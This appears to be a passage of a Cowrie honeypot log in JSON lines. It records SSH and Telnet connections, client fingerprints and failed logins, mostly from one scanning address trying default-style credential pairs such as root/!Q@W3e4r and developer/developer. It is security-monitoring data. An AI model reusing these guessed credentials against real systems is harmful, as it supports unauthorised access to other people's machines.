{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:39.405779Z","src_ip":"176.65.148.108","session":"a61fe8b47025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a2","password":"a2","message":"login attempt [a2/a2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:39.656504Z","src_ip":"176.65.148.108","session":"a61fe8b47025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56404,"dst_ip":"159.203.135.109","dst_port":22,"session":"786f8364f0a9","protocol":"ssh","message":"New connection: 192.109.200.237:56404 (159.203.135.109:22) [session: 786f8364f0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:40.457374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:40.462437Z","src_ip":"192.109.200.237","session":"786f8364f0a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:40.544842Z","src_ip":"192.109.200.237","session":"786f8364f0a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:40.741192Z","src_ip":"176.65.148.108","session":"a61fe8b47025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:40.791096Z","src_ip":"192.109.200.237","session":"786f8364f0a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:41.877130Z","src_ip":"192.109.200.237","session":"786f8364f0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":25083,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0363c651f13","protocol":"ssh","message":"New connection: 193.46.255.86:25083 (10.17.0.5:22) [session: d0363c651f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:42.597578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:42.602758Z","src_ip":"193.46.255.86","session":"d0363c651f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:42.733531Z","src_ip":"193.46.255.86","session":"d0363c651f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:43.328722Z","src_ip":"193.46.255.86","session":"d0363c651f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56412,"dst_ip":"159.203.135.109","dst_port":22,"session":"15443818ea51","protocol":"ssh","message":"New connection: 192.109.200.237:56412 (159.203.135.109:22) [session: 15443818ea51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:43.507462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:43.512598Z","src_ip":"192.109.200.237","session":"15443818ea51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:43.598832Z","src_ip":"192.109.200.237","session":"15443818ea51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:43.845068Z","src_ip":"192.109.200.237","session":"15443818ea51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:44.462153Z","src_ip":"193.46.255.86","session":"d0363c651f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:44.929682Z","src_ip":"192.109.200.237","session":"15443818ea51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56418,"dst_ip":"159.203.135.109","dst_port":22,"session":"39214fa6b9b5","protocol":"ssh","message":"New connection: 192.109.200.237:56418 (159.203.135.109:22) [session: 39214fa6b9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:46.537481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:46.542144Z","src_ip":"192.109.200.237","session":"39214fa6b9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:46.682276Z","src_ip":"192.109.200.237","session":"39214fa6b9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:47.015383Z","src_ip":"192.109.200.237","session":"39214fa6b9b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:48.101594Z","src_ip":"192.109.200.237","session":"39214fa6b9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56426,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a824c333fd","protocol":"ssh","message":"New connection: 192.109.200.237:56426 (159.203.135.109:22) [session: c6a824c333fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:49.815213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:49.819000Z","src_ip":"192.109.200.237","session":"c6a824c333fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:49.903368Z","src_ip":"192.109.200.237","session":"c6a824c333fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:50.150834Z","src_ip":"192.109.200.237","session":"c6a824c333fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.158","src_port":1844,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0f09bb7638","protocol":"telnet","message":"New connection: 69.5.169.158:1844 (159.203.135.109:23) [session: dd0f09bb7638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:51.145626Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:51.235891Z","src_ip":"192.109.200.237","session":"c6a824c333fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.57177209854126,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:51.251810Z","src_ip":"192.119.13.58","session":"ffaf5416b73a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54104,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e5e4c825f9","protocol":"ssh","message":"New connection: 192.109.200.237:54104 (159.203.135.109:22) [session: b7e5e4c825f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:52.864080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:52.869455Z","src_ip":"192.109.200.237","session":"b7e5e4c825f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:52.952977Z","src_ip":"192.109.200.237","session":"b7e5e4c825f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:53.198316Z","src_ip":"192.109.200.237","session":"b7e5e4c825f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:54.284091Z","src_ip":"192.109.200.237","session":"b7e5e4c825f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54106,"dst_ip":"159.203.135.109","dst_port":22,"session":"55c2fbbc02a8","protocol":"ssh","message":"New connection: 192.109.200.237:54106 (159.203.135.109:22) [session: 55c2fbbc02a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:55.926229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:55.937204Z","src_ip":"192.109.200.237","session":"55c2fbbc02a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:56.019934Z","src_ip":"192.109.200.237","session":"55c2fbbc02a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:56.399227Z","src_ip":"192.109.200.237","session":"55c2fbbc02a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:57.484256Z","src_ip":"192.109.200.237","session":"55c2fbbc02a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54120,"dst_ip":"159.203.135.109","dst_port":22,"session":"1344a76a4a7f","protocol":"ssh","message":"New connection: 192.109.200.237:54120 (159.203.135.109:22) [session: 1344a76a4a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:59.158856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:59.162466Z","src_ip":"192.109.200.237","session":"1344a76a4a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","h